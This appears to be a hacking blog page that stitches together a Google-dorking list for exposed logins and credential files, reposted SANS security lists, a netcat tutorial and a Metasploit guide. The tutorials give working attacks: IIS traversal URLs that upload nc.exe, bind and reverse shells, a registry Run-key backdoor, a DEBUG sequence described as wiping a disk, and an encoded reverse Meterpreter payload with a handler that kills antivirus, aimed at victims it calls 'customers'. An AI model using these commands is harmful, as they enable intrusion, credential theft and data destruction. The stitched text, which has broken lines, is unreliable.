intitle:Ovislink inurl:private/login
intitle:phpnews.login
intitle:plesk inurl:login.php3
inurl:"/admin/configuration. php?" Mystore
inurl:"/slxweb.dll/external?name=(custportal|webticketcust)"
inurl:"1220/parse_xml.cgi?"
inurl:"631/admin" (inurl:"op=*") | (intitle:CUPS)
inurl:":10000" intext:webmin
inurl:"Activex/default.htm" "Demo"
inurl:"calendar.asp?action=login"
inurl:"default/login.php" intitle:"kerio"
inurl:"gs/adminlogin.aspx"
inurl:"php121login.php"
inurl:"suse/login.pl"
inurl:"typo3/index.php?u=" -demo
inurl:"usysinfo?login=true"
inurl:"utilities/TreeView.asp"
inurl:"vsadmin/login" | inurl:"vsadmin/admin" inurl:.php|.asp

Code:

nurl:/admin/login.asp
inurl:/cgi-bin/sqwebmail?noframes=1
inurl:/Citrix/Nfuse17/
inurl:/dana-na/auth/welcome.html
inurl:/eprise/
inurl:/Merchant2/admin.mv | inurl:/Merchant2/admin.mvc | intitle:"Miva Merchant Administration Login" -inurl:cheap-malboro.net
inurl:/modcp/ intext:Moderator+vBulletin
inurl:/SUSAdmin intitle:"Microsoft Software upd?t? Services"
inurl:/webedit.* intext:WebEdit Professional -html
inurl:1810 "Oracle Enterprise Manager"
inurl:2000 intitle:RemotelyAnywhere -site:realvnc.com
inurl::2082/frontend -demo
inurl:administrator "welcome to mambo"
inurl:bin.welcome.sh | inurl:bin.welcome.bat | intitle:eHealth.5.0
inurl:cgi-bin/ultimatebb.cgi?ubb=login
inurl:Citrix/MetaFrame/default/default.aspx
inurl:confixx inurl:login|anmeldung
inurl:coranto.cgi intitle:Login (Authorized Users Only)
inurl:csCreatePro.cgi
inurl:default.asp intitle:"WebCommander"
inurl:exchweb/bin/auth/owalogon.asp
inurl:gnatsweb.pl
inurl:ids5web
inurl:irc filetype:cgi cgi:irc
inurl:login filetype:swf swf
inurl:login.asp
inurl:login.cfm
inurl:login.php "SquirrelMail version"
inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"
inurl:mewebmail
inurl:names.nsf?opendatabase
inurl:ocw_login_username
inurl:orasso.wwsso_app_admin.ls_login
inurl:postfixadmin intitle:"postfix admin" ext:php
inurl:search/admin.php
inurl:textpattern/index.php
inurl:WCP_USER
inurl:webmail./index.pl "Interface"
inurl:webvpn.html "login" "Please enter your"
Login ("
Jetbox One CMS â?¢" | "
Jetstream ? *")
Novell NetWare intext:"netware management portal version"
Outlook Web Access (a better way)
PhotoPost PHP Upload
PHPhotoalbum Statistics
PHPhotoalbum Upload
phpWebMail
Please enter a valid password! inurl:polladmin

INDEXU
Ultima Online loginservers
W-Nailer Upload Area
intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu
"#mysql dump" filetype:sql
"#mysql dump" filetype:sql 21232f297a57a5a743894a0e4a801fc3
"allow_call_time_pass_reference" "PATH_INFO"
"Certificate Practice Statement" inurl:(PDF | DOC)
"Generated by phpSystem"
"generated by wwwstat"
"Host Vulnerability Summary Report"
"HTTP_FROM=googlebot" googlebot.com "Server_Software="
"Index of" / "chat/logs"
"Installed Objects Scanner" inurl:default.asp
"MacHTTP" filetype:log inurl:machttp.log
"Mecury Version" "Infastructure Group"
"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log
"Most Submitted Forms and s?ri?ts" "this section"
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"not for public release" -.edu -.gov -.mil
"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"
"phpMyAdmin" "running on" inurl:"main.php"
"produced by getstats"
"Request Details" "Control Tree" "Server Variables"
"robots.txt" "Disallow:" filetype:txt
"Running in Child mode"
"sets mode: +p"
"sets mode: +s"
"Thank you for your order" +receipt
"This is a Shareaza Node"
"This report was generated by WebLog"
( filetype:mail | filetype:eml | filetype:mbox | filetype:mbx ) intext:password|subject
(intitle:"PRTG Traffic Grapher" inurl:"allsensors")|(intitle:"PRTG Traffic Grapher - Monitoring Results")
(intitle:WebStatistica inurl:main.php) | (intitle:"WebSTATISTICA server") -inurl:statsoft -inurl:statsoftsa -inurl:statsoftinc.com -edu -software -rob
(inurl:"robot.txt" | inurl:"robots.txt" ) intext:disallow filetype:txt
+":8080" +":3128" +":80" filetype:txt
+"HSTSNR" -"netop.com"
-site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp
94FBR "ADOBE PHOTOSHOP"
AIM buddy lists
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:cdkey.txt
allinurl:servlet/SnoopServlet
cgiirc.conf
cgiirc.conf
contacts ext:wml
data filetype:mdb -site:gov -site:mil

exported email addresses
ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential
ext:asp inurl:pathto.asp
ext:ccm ccm -catacomb
ext:CDX CDX
ext:cgi inurl:editcgi.cgi inurl:file=
ext:conf inurl:rsyncd.conf -cvs -man
ext:conf NoCatAuth -cvs
ext:dat bpk.dat
ext:gho gho
ext:ics ics
ext:ini intext:env.ini
ext:jbf jbf
ext:ldif ldif
ext:log "Software: Microsoft Internet Information Services *.*"
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
ext:nsf nsf -gov -mil
ext:plist filetype:plist inurl:bookmarks.plist
ext:pqi pqi -database
ext:reg "username=*" putty
ext:txt "Final encryption key"
ext:txt inurl:dxdiag
ext:vmdk vmdk
ext:vmx vmx


filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:bkf bkf
filetype:blt "buddylist"
filetype:blt blt +intext:screenname
filetype:cfg auto_inst.cfg
filetype:cnf inurl:_vti_pvt access.cnf
filetype:conf inurl:firewall -intitle:cvs
filetype:config web.config -CVS
filetype:ctt Contact
filetype:ctt ctt messenger
filetype:eml eml +intext:"Subject" +intext:"From" +intext:"To"
filetype:fp3 fp3
filetype:fp5 fp5 -site:gov -site:mil -"cvs log"
filetype:fp7 fp7
filetype:inf inurl:capolicy.inf
filetype:lic lic intext:key
filetype:log access.log -CVS
filetype:log cron.log
filetype:mbx mbx intext:Subject
filetype:myd myd -CVS
filetype:ns1 ns1
filetype:ora ora
filetype:ora tnsnames
filetype:pdb pdb backup (Pilot | Pluckerdb)
filetype:php inurl:index inurl:phpicalendar -site:sourceforge.net
filetype:pot inurl:john.pot
filetype:PS ps
filetype:pst inurl:"outlook.pst"
filetype:pst pst -from -to -date
filetype:qbb qbb
filetype:QBW qbw
filetype:rdp rdp
filetype:reg "Terminal Server Client"
filetype:vcs vcs
filetype:wab wab
filetype:xls -site:gov inurl:contact
filetype:xls inurl:"email.xls"
Financial spreadsheets: finance.xls
Financial spreadsheets: finances.xls
Ganglia Cluster Reports
haccess.ctl (one way)
haccess.ctl (VERY reliable)
ICQ chat logs, please...
intext:"Session Start * * * *:*:* *" filetype:log
intext:"Tobias Oetiker" "traffic analysis"
intext:(password | passcode) intext:(username | userid | user) filetype:csv
intext:gmail invite intext:http://gmail.google.com/gmail/a
intext:SQLiteManager inurl:main.php
intext:ViewCVS inurl:Settings.php
intitle:"admin panel" +"


RedKernel"
intitle:"Apache::Status" (inurl:server-status | inurl:status.html | inurl:apache.html)
intitle:"AppServ Open Project" -site:www.appservnetwork.com
intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "2003-2004 weppos"
intitle:"Big Sister" +"OK Attention Trouble"
intitle:"curriculum vitae" filetype:doc
intitle:"edna:streaming mp3 server" -forums
intitle:"FTP root at"
intitle:"index of" +myd size
intitle:"Index Of" -inurl:maillog maillog size
intitle:"Index Of" cookies.txt size
intitle:"index of" mysql.conf OR mysql_config
intitle:"Index of" upload size parent directory
intitle:"index.of *" admin news.asp configview.asp
intitle:"index.of" .diz .nfo last modified
intitle:"Joomla - Web Installer"
intitle:"LOGREP - Log file reporting system" -site:itefix.no
intitle:"Multimon UPS status page"
intitle:"PHP Advanced Transfer" (inurl:index.php | inurl:showrecent.php )
intitle:"PhpMyExplorer" inurl:"index.php" -cvs
intitle:"statistics of" "advanced web statistics"
intitle:"System Statistics" +"System and Network Information Center"
intitle:"urchin (5|3|admin)" ext:cgi
intitle:"Usage Statistics for" "Generated by Webalizer"
intitle:"wbem" compaq login "Compaq Information Technologies Group"
intitle:"Web Server Statistics for ****"
intitle:"web server status" SSH Telnet
intitle:"Welcome to F-Secure Policy Manager Server Welcome Page"
intitle:"welcome.to.squeezebox"
intitle:admin intitle:login
intitle:Bookmarks inurl:bookmarks.html "Bookmarks
intitle:index.of "Apache" "server at"
intitle:index.of cleanup.log
intitle:index.of dead.letter
intitle:index.of inbox
intitle:index.of inbox dbx
intitle:index.of ws_ftp.ini
intitle:intranet inurl:intranet +intext:"phone"


inurl:"/axs/ax-admin.pl" -s?ri?t
inurl:"/cricket/grapher.cgi"
inurl:"bookmark.htm"
inurl:"cacti" +inurl:"graph_view.php" +"Settings Tree View" -cvs -RPM
inurl:"newsletter/admin/"
inurl:"newsletter/admin/" intitle:"newsletter admin"
inurl:"putty.reg"
inurl:"smb.conf" intext:"workgroup" filetype:conf conf
inurl:*db filetype:mdb
inurl:/cgi-bin/pass.txt
inurl:/_layouts/settings
inurl:admin filetype:xls
inurl:admin intitle:login
inurl:backup filetype:mdb
inurl:build.err
inurl:cgi-bin/printenv
inurl:cgi-bin/testcgi.exe "Please distribute TestCGI"
inurl:changepassword.asp
inurl:ds.py
inurl:email filetype:mdb
inurl:fcgi-bin/echo
inurl:forum filetype:mdb
inurl:forward filetype:forward -cvs
inurl:getmsg.html intitle:hotmail
inurl:log.nsf -gov
inurl:main.php phpMyAdmin
inurl:main.php Welcome to phpMyAdmin
inurl:netscape.hst
inurl:netscape.hst
inurl:netscape.ini
inurl:odbc.ini ext:ini -cvs
inurl:perl/printenv
inurl:php.ini filetype:ini
inurl:preferences.ini "[emule]"
inurl:profiles filetype:mdb
inurl:report "EVEREST Home Edition "
inurl:server-info "Apache Server Information"
inurl:server-status "apache"
inurl:snitz_forums_2000.mdb
inurl:ssl.conf filetype:conf
inurl:tdbin
inurl:vbstats.php "page generated"
inurl:wp-mail.php + "There doesn't seem to be any new mail."
inurl:XcCDONTS.asp
ipsec.conf
ipsec.secrets
ipsec.secrets
Lotus Domino address books
mail filetype:csv -site:gov intext:name
Microsoft Money Data Files
mt-db-pass.cgi files
MySQL tabledata dumps
mystuff.xml - Trillian data files
OWA Public Folders (direct view)
Peoples MSN contact lists
php-addressbook "This is the addressbook for *" -warning
phpinfo()
phpMyAdmin dumps
phpMyAdmin dumps
private key files (.csr)
private key files (.key)
Quicken data files
rdbqds -site:.edu -site:.mil -site:.gov


robots.txt
site:edu admin grades
site:www.mailinator.com inurl:ShowMail.do
SQL data dumps
Squid cache server reports
Unreal IRCd
WebLog Referrers
Welcome to ntop!
Fichier contenant des informations sur le r?seau :
filetype:log intext:"ConnectionManager2"
"apricot - admin" 00h
"by Reimar Hoven. All Rights Reserved. Disclaimer" | inurl:"log/logdb.dta"
"Network Host Assessment Report" "Internet Scanner"
"Output produced by SysWatch *"
"Phorum Admin" "Database Connection" inurl:forum inurl:admin
phpOpenTracker" Statistics
"powered | performed by Beyond Security's Automated Scanning" -kazaa -example
"Shadow Security Scanner performed a vulnerability assessment"
"SnortSnarf alert page"
"The following report contains confidential information" vulnerability -search
"The statistics were last upd?t?d" "Daily"-microsoft.com
"this proxy is working fine!" "enter *" "URL***" * visit
"This report lists" "identified by Internet Scanner"
"Traffic Analysis for" "RMON Port * on unit *"
"Version Info" "Boot Version" "Internet Settings"
((inurl:ifgraph "Page generated at") OR ("This page was built using ifgraph"))
Analysis Console for Incident Databases
ext:cfg radius.cfg
ext:cgi intext:"nrg-" " This web page was created on "


filetype:pdf "Assessment Report" nessus
filetype:php inurl:ipinfo.php "Distributed Intrusion Detection System"
filetype:php inurl:nqt intext:"Network Query Tool"
filetype:vsd vsd network -samples -examples
intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm
intitle:"ADSL Configuration page"
intitle:"Azureus : Java BitTorrent Client Tracker"
intitle:"Belarc Advisor Current Profile" intext:"Click here for Belarc's PC Management products, for large and small companies."
intitle:"BNBT Tracker Info"
intitle:"Microsoft Site Server Analysis"
intitle:"Nessus Scan Report" "This file was generated by Nessus"
intitle:"PHPBTTracker Statistics" | intitle:"PHPBT Tracker Statistics"
intitle:"Retina Report" "CONFIDENTIAL INFORMATION"
intitle:"start.managing.the.device" remote pbx acc
intitle:"sysinfo * " intext:"Generated by Sysinfo * written by The Gamblers."
intitle:"twiki" inurl:"TWikiUsers"
inurl:"/catalog.nsf" intitle:catalog
inurl:"install/install.php"
inurl:"map.asp?" intitle:"WhatsUp Gold"
inurl:"NmConsole/Login.asp" | intitle:"Login - Ipswitch WhatsUp Professional 2005" | intext:"Ipswitch WhatsUp Professional 2005 (SP1)" "Ipswitch, Inc"


inurl:"sitescope.html" intitle:"sitescope" intext:"refresh" -demo
inurl:/adm-cfgedit.php
inurl:/cgi-bin/finger? "In real life"
inurl:/cgi-bin/finger? Enter (account|host|user|username)
inurl:/counter/index.php intitle:"+PHPCounter 7.*"
inurl:CrazyWWWBoard.cgi intext:"detailed debugging information"
inurl:login.jsp.bak
inurl:ovcgi/jovw
inurl:phpSysInfo/ "created by phpsysinfo"
inurl:portscan.php "from Port"|"Port Range"
inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
inurl:statrep.nsf -gov
inurl:status.cgi?host=all
inurl:testcgi xitami
inurl:webalizer filetype:png -.gov -.edu -.mil -opendarwin
inurl:webutil.pl
Looking Glass
site:netcraft.com intitle:That.Site.Running Apache
"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"An illegal character has been found in the statement" -"previous message"
"ASP.NET_SessionId" "data source="
"Can't connect to local" intitle:warning
"Chatologica MetaSearch" "stack tracking"
"detected an internal error [IBM][CLI Driver][DB2/6000]"
"error found handling the request" cocoon filetype:xml
"Fatal error: Call to undefined function" -reply -the -next
"Incorrect syntax near"
"Incorrect syntax near"
"Internal Server Error" "server at"
"Invision Power Board Database Error"
"ORA-00933: SQL command not properly ended"
"ORA-12541: TNS:no listener" intitle:"error occurred"
"Parse error: parse error, unexpected T_VARIABLE" "on line" filetype:php
"PostgreSQL query failed: ERROR: parser: parse error"
"Supplied argument is not a valid MySQL result resource"
"Syntax error in query expression " -the
"The s?ri?t whose uid is " "is not allowed to access"
"There seems to have been a problem with the" " Please try again by clicking the Refresh button in your web browser."
"Unable to jump to row" "on MySQL result index" "on line"
"Unclosed quotation mark before the character string"
"Warning: Bad arguments to (join|implode) () in" "on line" -help -forum
"Warning: Cannot modify header information - headers already sent"
"Warning: Division by zero in" "on line" -forum



"Warning: mysql_connect(): Access denied for user: '*@*" "on line" -help -forum
"Warning: mysql_query()" "invalid query"
"Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL"
"Warning: Supplied argument is not a valid File-Handle resource in"
"Warning:" "failed to open stream: HTTP request failed" "on line"
"Warning:" "SAFE MODE Restriction in effect." "The s?ri?t whose uid is" "is not allowed to access owned by uid 0 in" "on line"
"SQL Server Driver][SQL Server]Line 1: Incorrect syntax near"
An unexpected token "END-OF-STATEMENT" was found
Coldfusion Error Pages
filetype:asp + "[ODBC SQL"
filetype:asp "Custom Error Message" Category Source
filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error"
filetype:php inurl:"logging.php" "Discuz" error
ht://Dig htsearch error
IIS 4.0 error messages
IIS web server error messages
Internal Server Error
intext:"Error Message : Error loading required libraries."
intext:"Warning: Failed opening" "on line" "include_path"
intitle:"Apache Tomcat" "Error Report"
intitle:"Default PLESK Page"
intitle:"Error Occurred While Processing Request" +WHERE (SELECT|INSERT) filetype:cfm
intitle:"Error Occurred" "The error occurred in" filetype:cfm
intitle:"Error using Hypernews" "Server Software"
intitle:"Execution of this s?ri?t not permitted"
intitle:"Under construction" "does not currently have"
intitle:Configuration.File inurl:softcart.exe
MYSQL error message: supplied argument....
mysql error with query
Netscape Application Server Error page
ORA-00921: unexpected end of SQL command
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression


PHP application warnings failing "include_path"
sitebuildercontent
sitebuilderfiles
sitebuilderpictures
Snitz! forums db path error
SQL syntax error
Supplied argument is not a valid PostgreSQL result
warning "error on line" php sablotron
Windows 2000 web server error messages
"ftp://" "www.eastgame.net"
"html allowed" guestbook
: vBulletin Version 1.1.5"
"Select a database to view" intitle:"filemaker pro"
"set up the administrator user" inurl:pivot
"There are no Administrators Accounts" inurl:admin.php -mysql_fetch_row
"Welcome to Administration" "General" "Local Domains" "SMTP Authentication" inurl:admin
"Welcome to Intranet"
"Welcome to PHP-Nuke" congratulations
"Welcome to the Prestige Web-Based Configurator"
"YaBB SE Dev Team"
"you can now password" | "this is a special page only seen by you. your profile visitors" inurl:imchaos
("Indexed.By"|"Monitored.By") hAcxFtpScan
(inurl:/shop.cgi/page=) | (inurl:/shop.pl/page=)
allinurl:"index.php" "site=sglinks"
allinurl:install/install.php
allinurl:intranet admin
filetype:cgi inurl:"fileman.cgi"
filetype:cgi inurl:"Web_Store.cgi"
filetype:php inurl:vAuthenticate
filetype:pl intitle:"Ultraboard Setup"
Gallery in configuration mode
Hassan Consulting's Shopping Cart Version 1.18
intext:"Warning: * am able * write ** configuration file" "includes/configure.php" -
intitle:"Gateway Configuration Menu"
intitle:"Horde :: My Portal" -"[Tickets"
intitle:"Mail Server CMailServer Webmail" "5.2"
intitle:"MvBlog powered"
intitle:"Remote Desktop Web Connection"
intitle:"Samba Web Administration Tool" intext:"Help Workgroup"
intitle:"Terminal Services Web Connection"
intitle:"Uploader - Uploader v6" -pixloads.com
intitle:osCommerce inurl:admin intext:"redistributable under the GNU" intext:"Online Catalog" -demo -site:oscommerce.com
intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"


intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"
inurl:"/NSearch/AdminServlet"
inurl:"index.php? module=ew_filemanager"
inurl:aol*/_do/rss_popup?blogID=
inurl:footer.inc.php
inurl:info.inc.php
inurl:ManyServers.htm
inurl:newsdesk.cgi? inurl:"t="
inurl:pls/admin_/gateway.htm
inurl:rpSys.html
inurl:search.php vbulletin
inurl:servlet/webacc
natterchat inurl:home.asp -site:natterchat.co.uk
XOOPS Custom Installation
inurl:htpasswd filetype:htpasswd
inurl:yapboz_detay.asp + View Webcam User Accessing
allinurl:control/multiview
inurl:"ViewerFrame?Mode="
intitle:"WJ-NT104 Main Page"
inurl:netw_tcp.shtml
intitle:"supervisioncam protocol"


Tags: google hacking, master list, commands, google search, google, hacking, hack, hacker, good clean fun, master, new command set, interesting

The opinions of this article are the opinions of this writer. They are not the opinions of my employers, nor in any way does this blog, these entries, or any information on this site reflect the opinion of my employers or people associated with me.

Top 15 Malware actions

Top 15 Malicious Spyware Actions

Spyware authors have ramped up their malicious code to invade users' privacy at unprecedented levels. The following list describes some of the most malicious activities of today's spyware, illustrating the need for solid antispyware defenses.

Changing network settings: To prevent signature updates for antivirus and antispyware tools, some spyware alters the infected machine's network settings. This type of attack could edit the infected machine's hosts file, apply outbound IP filters or alter the system's DNS server so that all names are resolved by an attacker-controlled DNS server.

Disabling antivirus and antispyware tools: To prevent disinfection, some spyware disables antivirus and antispyware tools to lengthen the time the attacker can control the victim machine.

Turning off the Microsoft Security Center and/or Automatic Updates: Some spyware disables the Microsoft Security Center because its warnings about an inactive firewall or antivirus program could alert the user. Also, a few spyware specimens disable automatic updates to prevent the installation of patches.

Installing rogue certificates: Web browsers are configured by default to trust a small number of certificate authorities to vouch for SSL certificates from Web sites and code-signing certificates for software distribution firms. Some spyware extends the browser's trust by adding the attacker.s own SSL and/or code-signing certificate to the browser's trusted store.

Cascading file droppers: Once an attacker gets one spyware program installed on a machine, that sentinel program can grab other programs on a periodic basis, with each new program, in turn, grabbing others in a cascade. By spreading this cascade over several days, the attackers can stay ahead of antispyware signatures.

Keystroke Logging: Some spyware grabs keystrokes from the machine when a user visits a financial services or e-commerce Web site. To address this threat, some organizations use virtual keyboards, where an image of a keyboard on a screen prompts the user to click on-screen buttons to enter a password. Attackers have responded by using malicious code that grabs small screenshots around the mouse pointer to capture the user's password even with a virtual keyboard.

URL monitoring, form scraping, and screen scraping: Some spyware monitors all of the URLs a user visits. When sensitive sites are accessed, this spyware grabs a copy of all form elements submitted to the site, in an attempt to gather account and authentication information, a technique called form scraping. Screen scraping spyware grabs a screen image with sensitive data on it.

Turning on the microphone and/or camera: Some malicious code can turn on a microphone or even a video camera attached to a system, thereby substantially invading the users' privacy.

Pretending to be an antispyware or antivirus tool: Some particularly nefarious spyware pretends to be an antispyware, antivirus or other security tool. These programs tell the user that they are defending against attack, while actually attacking the user, in a classic Trojan horse scenario.

Editing search results: A few spyware specimens locally edit the results of a user's search, injecting ads into the search pages. The user thinks the ads came from the search engine itself, unaware that they are generated by locally installed spyware.

Acting as a spam relay: Some malicious code turns the victim machine into an e-mail spam relay, so an attacker can spew millions of messages through a group of controlled systems. Blacklisting and tracking down the attacker become far more difficult with an onslaught of spam-relay systems.

Planting a rootkit or otherwise altering the system to prevent removal: The most pernicious spyware alters the operating system in very subtle yet powerful ways to prevent its detection and removal. Uninstalling some spyware is so onerous that users are sometimes faced with complete reinstallation of their operating system and applications.

Installing a bot for attacker remote control: Some spyware comes bundled with a bot, a tool attackers user for remote control of large numbers of systems, in ranges from tens of thousands to millions of infected systems.

Intercepting sensitive documents and exfiltrating them, or encrypting them for ransom: Some targeted spyware, especially that associated with spear phishing attacks, is designed to steal sensitive documents from a specific organization. Other variants encrypt the data, letting the attacker offer the decryption key in exchange for a ransom payment.

Planting a sniffer: A few spyware specimens include sniffers to grab network traffic, including user IDs and passwords from other systems near the infected machine.

Ed Skoudis
SANS Instructor and Senior Security Analyst with Intelguardians

Mistakes People Make that Lead to Security Breaches

Mistakes People Make that Lead to Security Breaches
Updated September 10, 2005

Technological holes account for a great number of the successful break-ins, but people do their share, as well. Here are the SANS Institute's lists of silly things people do that enable attackers to succeed.
The Five Worst Security Mistakes End Users Make

   1. Failing to install anti-virus, keep its signatures up to date, and apply it to all files.
   2. Opening unsolicited e-mail attachments without verifying their source and checking their content first, or executing games or screen savers or other programs from untrusted sources.
   3. Failing to install security patches-especially for Microsoft Office, Microsoft Internet Explorer, Firefox, and Netscape.
   4. Not making and testing backups.
   5. Being connected to more than one network such as wireless and a physical Ethernet or using a modem while connected through a local area network.

The Seven Worst Security Mistakes Senior Executives Make

   1. Assigning untrained people to maintain security and providing neither the training nor the time to make it possible to learn and do the job.
   2. Failing to understand the relationship of information security to the business problem-they understand physical security but do not see the consequences of poor information security.
   3. Failing to deal with the operational aspects of security: making a few fixes and then not allowing the follow through necessary to ensure the problems stay fixed
   4. Relying primarily on a firewall.
   5. Failing to realize how much money their information and organizational reputations are worth.
   6. Authorizing reactive, short-term fixes so problems re-emerge rapidly.
   7. Pretending the problem will go away if they ignore it.

The Ten Worst Security Mistakes Information Technology People Make

   1. Connecting systems to the Internet before hardening them.
   2. Connecting test systems to the Internet with default accounts/passwords
   3. Failing to update systems when security holes are found.
   4. Using telnet and other unencrypted protocols for managing systems, routers, firewalls, and PKI.
   5. Giving users passwords over the phone or changing user passwords in response to telephone or personal requests when the requester is not authenticated.
   6. Failing to maintain and test backups.
   7. Running unnecessary services, especially ftpd, telnetd, finger, rpc, mail, rservices
   8. Implementing firewalls with rules that don't stop malicious or dangerous traffic-incoming or outgoing.
   9. Failing to implement or update virus detection software
  10. Failing to educate users on what to look for and what to do when they see a potential security problem.

And a bonus, number 11: Allowing untrained, uncertified people to take responsibility for securing important systems.

Netcat tutorials

Port scanning 1 through 200:

nc -v -w2 -z 192.168.0.2 1-200

-------------------------------

Banner grabbing with nc:

nc -v -n 192.168.0.2 80

------------------------------
IIS Unicode File Traversal:

http://192.168.0.2/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Now we want to upload nc.exe to the vulnerable IIS server:

http://192.168.0.2/scripts/..%255c../winnt/system32/cmd.exe?/c+TFTP+-i+192.168.1.9+GET+nc.exe


we used:
tftp -I 192.168.1.9 GET nc.exe
is transformed into:
http://<exploit URL>/c+TFTP+-i+192.168.1.9+GET+nc.exe

as a TFTP server we can use: TFTPD32 by Ph. Jounin

---------------------------------

Netcat as a backdoor:

now we have nc.exe on the server and we want to create a backdoor to get a remote shell.

nc -L -p 1001 -d -e cmd.exe

-L -> do not close and wait for connections.
-p -> port
-d -> detach from the process we want it to run.
-e -> what program to run once the port is connected to (cmd.exe ).

If we not want to convert this command for Unicode URL use, it will look like this:

http://<exploir URL>/c+nc+-L+-p+1001+-d+-e+cmd.exe

ex:
nc -v 192.168.80.14 80

GET http://192.168.80.14/scripts/..%255c../winnt/system32/cmd.exe?/c+nc.exe+-L+-p+1001+-d+-e+cmd.exe

------------------------------------------------------

Transferring File with nc.exe:

We want to transfer a file called hack.txt to the IIS Server and we don't want to use TFTP .We can use nc.exe to transfer the file.

To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command:
nc -l -p 1234>hack.txt

On our source system ( the attacking computer ) we send a file named hack.txt to the IIS machine with the following
command:

nc destination 1234<hack.txt

#################

Server side: nc -L -p [PORT] -e cmd.exe
Client side: nc -vv [IP] [PORT]

On the victim computer.

reg add hklm\software\microsoft\windows\currentversion\run /v capture /t reg_sz /d "nc 192.168.1.68 10001 -d -e cmd.exe"

Remember 192.168.1.68 is the attacker machine.

And on the attacker machine just listen.

nc -vv -l -p 10001

You should listen on your machine, and when the victim boots up, nc will connect to you, and will spawn a reverse shell to you.

The command prompt popup should come up for a second and disapper.

Oh you should put nc in the system32 directory, so you don't have to specify where nc is located. All you have to do then is type nc in any directory.

-l waits for connection.
-p port to listen on.
-d detach from the process.
-e which program to execute.
-w timeout for connection.
-v verbose [use twice to be more verbose] 

Now we can see that the file has been transferred to the target system, via port 1234.
###############

Netcat fun tricks:

Data Transfer (Pull):
server: nc -l -p [port] < [filename]
client: nc [server ip] [server port] > [filename]

Data Transfer (Push):
server: nc -l -p [port] > [filename]
client: nc [server ip] [server port] < [filename]

Backdoors:
unix: nc -l -p [port] -e /bin/sh
windows: nc -l -p [port] -e cmd.exe

Persistant Backdoor:
while [ 1 ]; nc -l -p [port] -e /bin/sh; done

Reverse Shell
server (attacker): nc -l -p [port]
client (victim): nc [server ip] [server port] -e [shell]

Backdoor Client:
nc [server ip] [port]

Traffic Relay on Linux:
mknod backpipe p
nc -l -p [incoming port] 0backpipe

Traffic Replay:
nc [targetip] [port] < [filename]


reg add hklm\software\microsoft\windows\currentversion\run /v capture /t reg_sz /d "c:\tmp\nc.exe -l -p 6666"

##############

Commands to blow up a hard drive...

OK OPEN UP A COMMAND PROMPT

now type

"debug" press enter
"a 100" press enter
"int13" press enter

press enter without typing anything

"rax" press enter
"0301" press enter
"rbx" press enter
"0200" press enter
"f 200 l 200 0" (note, this is a lower case "L") press enter
"rcx" press enter
"0001" press enter
"rdx" press enter
"0080" press enter
"p" press enter
"q" press enter


-----------------------

"at 20:00 /interactive cmd.exe"

Another tutorial on Metasploit usage...

I introduce my tutorial on the Metasploit Framework. This applys to both Linux and Windows.
Although, I would seriously suggest using Metasploit within Linux, specifically
'Backtrack 4 - PreRelease' (The Latest)


If you dont know what the metasploit framework is, then look it up. You've been missing out.In no way is this meant to be a comprehensive guide. MSF is HUGE. Too many things can be done with it,
you could write 15 books on it. MSF is Open Source and coded in the Ruby language.

Get used to the 'help' option!

PAYLOADs
========

I'm gonna start with Payloads, many people know already that MSF is an exploitation framework, as in you can
work out vulnerabilities in software, and use the framework to quickly create working exploits for it.
There's hundreds of payloads that you can choose from, so that when you exploit the system in question
you can easily automate the execution of a payload of your choice on the machine.

I will show you how to turn those payloads into an actual .EXE so it will just run as is.

Ok. Lets begin:


Fire up your MSF, make sure it's updated, as they are constantly making amendments to this.
For backtrack i think its : cd pentest/exploits/framework3

Metasploit Double Encoded Reverse Meterpreter Payload
================================================== ===


$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=123.234.456.678 LPORT=82 R | ./msfencode -e x86/countdown -t raw | ./msfencode -t exe -o /meterpreter_reverse.exe

LHOST - is our machine (listening host, as we are waiting for a connection from RHOST (remote host)

LPORT - self explanitory. Just make sure you have port forwarding set up on your router ofcourse.

Meterpreter - An incredibly advanced shell which kind of simulates bash. (even on a win system) - lots of power.
You'll see how much power shorty.


Now you have your PAYLOAD.exe

Metasploit Listener
===================


In /framework3 directory

$ ./msfconsole
(Takes a lil minute for this to load)

use exploit/multi/handler (Sets the exploit to a handler)
set PAYLOAD windows/meterpreter/reverse_tcp (Most common Payload to use, try experimenting with others)
set LHOST 192.162.1.50 (Make sure you set LHOST to your address on Network and not localhost)
set LPORT 82 (Sometimes, port 80, 443 or 8080 is better as to some FW's it looks less suspicious)
set ExitOnSession false (As soon as you get a session, it doesn't automatically jump in to it)
set AutoRunScript /killav.rb (when customer connects back, and meterpreter payload is uploaded, killav.rb script is uploaded and executed)
exploit -j (sets exploit up as a job, good for shells on multiple customers)


(See more on scripts... down )


Continuation
============


When all goes well, and you have hit 'exploit -j' and have waited for a customer to click on the payload.exe you created earlier
you will see stuff happening in the screen. You will notice it run the killab script, then says something like :

    * Meterpreter session 1 opened (123.234.345.567:63456 -> 192.168.1.50:82)


Ok, here's the basics:

type :

sessions -l (this lists any sessions we have i.e. customers. Notice the lowercase L )
sessions -i 1 (this is to interact with the session 1. i.e. Interect. Lowercase I)

If you need to come out of this screen. Either CTRL+Z or type 'background' without the ''


Ok.. So we are in the session: Brilliant


Continuation - The Good Stuff
=============================


$ Meterpreter > getuid (this will show you currently logged in user)
$ Meterpreter > idletime (wanna see how long user has afk?)

